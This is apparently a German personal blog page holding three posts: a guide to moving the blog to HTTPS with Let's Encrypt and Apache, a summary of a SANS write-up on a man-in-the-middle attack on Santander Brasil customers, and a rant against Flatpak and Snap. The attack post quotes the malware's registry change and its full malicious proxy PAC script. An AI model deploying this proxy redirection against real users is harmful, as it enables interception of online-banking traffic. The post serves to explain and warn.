Blog auf LE HTTPS umgestellt.

Ich habe mein Blog auf HTTPS mit einem Lets Encrypt Zertifikat umgestellt.

Falls Ihr mit den RSS Feeds Probleme beim Abholen bekommt, meldet Euch bitte.

Wie man das macht : )

Als erstes bestellen wir mal das Zertifikat :

/etc/httpd/letsencrypt/letsencrypt.sh -c -d marius.bloggt-in-braunschweig.de -d www.marius.bloggt-in-braunschweig.de

Obiges geht natürlich nur, wenn Ihr den Bash Clienten von Lets Encrypt auch dort instaliert habt.

Dann legen wir im Apache eine HTTPS Site an, z.B. hier : /etc/httpd/sites/1_marius.bloggt-in-braunschweig.de

<VirtualHost *:443>
    SSLProxyEngine On
    ServerName marius.bloggt-in-braunschweig.de
    ServerAlias *.marius.bloggt-in-braunschweig.de
    ... Sachen die Euch nichts angehen :) ...    
    Header always set Strict-Transport-Security "max-age=31556926 includeSubDomains" env=HTTPS
    SSLEngine on
    SSLInsecureRenegotiation off
    SSLProtocol TLSv1.2
    SSLHonorCipherOrder on
    SSLCipherSuite EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH+aRSA+RC4:EECDH:EDH+aRSA:HIGH:!MD5:!aNULL:!EDH:!RC4:!RC4
    SSLCertificateKeyFile /etc/httpd/letsencrypt/certs/marius.bloggt-in-braunschweig.de/privkey.pem
    SSLCertificateFile /etc/httpd/letsencrypt/certs/marius.bloggt-in-braunschweig.de/cert.pem
    SSLCACertificateFile /etc/httpd/letsencrypt/certs/marius.bloggt-in-braunschweig.de/chain.pem

</VirtualHost>

Und dann muß man seiner Site noch sagen, daß sie alle HTTP Zugriffe auf HTTPS umleiten soll, bevor diese stattfinden.

RewriteCond %{HTTP_HOST} ^www.marius.bloggt-in-braunschweig.de
RewriteRule (.*) https://marius.bloggt-in-braunschweig.de/$1 [R=301,L]

RewriteCond %{HTTP_HOST} .*marius\.bloggt-in-braunschweig\.de
RewriteCond %{SERVER_PORT}   !^443$
RewriteRule  (.*)  https://%{HTTP_HOST}/$1   [L]

Das meint, daß wer WWW. aufruf, auf den Hauptdomainnamen umgeleitet wird. (Am.d.R. www. braucht kein Mensch mehr)
Die zweite Anweisung leitet alles was nicht auf Port 443 ankommt, auf Port 443 um, so daß es verschlüsselt wird.

Das wars.

Jetzt bleibt nur die Frage zu klären: „Wieso hast Du auf https umgestellt, wo BIB.de doch ohnehin schon ein LE Zertifikat hatte ?“

Na weil das bei Subdomain nicht anders geht, da LE keine Wildcardzerts ausstellt und 100 Einträge im Hauptzertifikat sind auch irgendwann zu ende.

Wie man Onlinebanking belauscht

„Mami, warum darf ich nicht dieses Attachment öffnen?!!“

„DESWEGEN, Kind :  sans.edu – Example of Targeted Attack Through a Proxy PAC File „

Beschrieben wird in dem verlinkten Artikel ein Angriff auf die Benutzer der Santanderbank in Brasilien. Jetzt blocke ich bei mir eh alles was *com.br am Ende hat, da ich in Brasilien keine Freunde habe, aber scheinbar sehr viel zwilichtige Gestalten gerne meine Freund werden wollen, naja.. vermutlich doch eher Freund meines Rechners 🙂 . Egal, jedenfalls spart einem son Block jede Menge Spams auf Portugiesisch, dessen ich zwar entfernt mächtig bin, es mich aber nicht interessiert. Wer noch was pauschal blocken will, hier noch zwei Evergreens : „*com.ar“, „*com.ag“ und „*@zoho.com“ .  Zoho.com ist gefühlt vermutlich die größte Spamschleuder des Planeten.

Was aber tatsächlich am meisten Spams verhindert hat, war unserem Mailserver zu erzählen, daß er nur noch TLS Verbindungen akzeptiert. Das hat sämtliche Spambots kalt erwischt ( und noch dazu das BSI, Weltbild, Power-Netz, Otto und diverse andere Quellen unerwünschter Wer … ähm Newsletter … 😀 )

Man sollte sich auch nichts erzählen lassen, wer als Mailadmin kein TLS aktiviert hat, hat seinen Job nicht ordentlich gemacht. Wer einem also keine EMails mehr senden kann, sollte dafür die Schuld nicht beim Empfänger, sondern bei sich selbst suchen. Im zweiten Jahrzehnt des 21. Jahrhunderts gehört TLS einfach in jeden Mailserver, egal wo auf der Welt.

Zurück zum Angriff auf Kunden der Santander Bank

Der Artikel beschreibt, das eines Tages eine Email kam… so fängt es heute eigentlich immer an ;)… in der ein böses Attachment war.. ( deswegen haben wir Leute auf der Whiteliste, die uns Attachments schicken dürfen ) . Das Attachment enthielt eine kleine Schadsoftware die nichts weiter gemacht hat, als die Proxyeinstellungen von Winblöd zu ändern.

\REGISTRY\USER\S-1-5-21-xxxxxxxx\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = http://chrome-ie.com.br/1.png

In dem „Bild“ steht natürlich nur Text drin:

function FindProxyForURL(url, host)
{
var a = "PROXY 200.98.202.51:1023";
if (shExpMatch(host, "www.san*ander.com.br*")) {
     return a;
}

if (shExpMatch(host, "san*ander.com.br*")) {
     return a;
}

return "DIRECT";
}

Dieses Proxyscript sorgt dann am Ende dafür, daß die Aufrüfe an die Bank zu dem Proxy Server umgeleitet werden. Damit HTTPS geht, jubelt einem das Attachment dann noch ein FAKE Root Cert der Santander Bank unter.  Fertig ist der Onlinebanking-Man-in-the-Middle-Angriff .

Bei Fragen wenden Sie sich bitte an die Designer von Windows 😀

Flatpack+Snappy : Der Wahnsinn geht weiter

Wie man den GNOME Blog entnehmen konnte, wurde der neueste Nautilus jetzt als Flatpak verfügbar gemacht.

„Flatpak is the big step we needed.“

Sowas ähnliches haben sie auch geschrieben, bevor der Krieg ausbrach … 🙁

Um es nochmal klar zu sagen, daß ist großer Mist, auch wenn es „praktische“ Aspekte löst. Wie wir gestern in unserer lokalen LUG diskutiert hatten, befürworten natürlich einige FlatPak und Snappy, weil man so dicke fette Anwendungen installieren können, ohne daß diese zusätzliche Abhängigkeiten auflösen müssen, da sie diese schon mitbringen. Und genau da liegt das Problem: Sie bringen mehr mit, als man haben will. Mit jeder App kann die gleiche Schwachstelle auf das System kommen oder noch schlimmer, noch mehr andere Schwachstellen.

Bei aktiven Projekten wie Nautilus ( obiges Beispiel ) könnte man davon ausgehen, daß deren Beiwerk auch aktuell ist, aber garantieren tut einem das keiner. Statt also einer Anlaufstelle ( der Distro ) für Schwachstellenbehebung, gibt es dann hunderte, weil jeder sein eigenes Süppchen kocht. Mit hunderten von Apps braucht man einen Verantwortlichen und nicht hunderte, weil wenn von denen EINER Failed reicht das aus um den Rechner zu knacken. Failed bspw. RedHat wären soviele betroffen, daß RedHat sich den Fail einfach nicht leisten kann, ergo auch nicht tut.

Und deswegen sollten Flatpak und Snappy schnellstmöglich wieder begraben werden!